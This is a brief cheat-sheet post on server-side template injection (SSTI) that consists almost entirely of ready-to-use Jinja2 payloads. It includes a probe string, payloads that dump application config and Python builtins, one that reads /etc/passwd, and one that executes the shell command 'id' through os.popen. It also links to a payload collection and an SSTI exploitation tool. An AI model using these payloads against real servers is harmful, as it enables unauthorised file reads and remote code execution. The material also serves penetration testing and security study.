Skip to content
General

Server-side Template Injection (SSTI)

November 19, 2024

Identifying SSTI

${{<%[%'"}}%\.

{{ config.items() }}

{{ self.__init__.__globals__.__builtins__ }}

LFI

{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}

RCE

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md

Tool

https://github.com/vladko312/SSTImap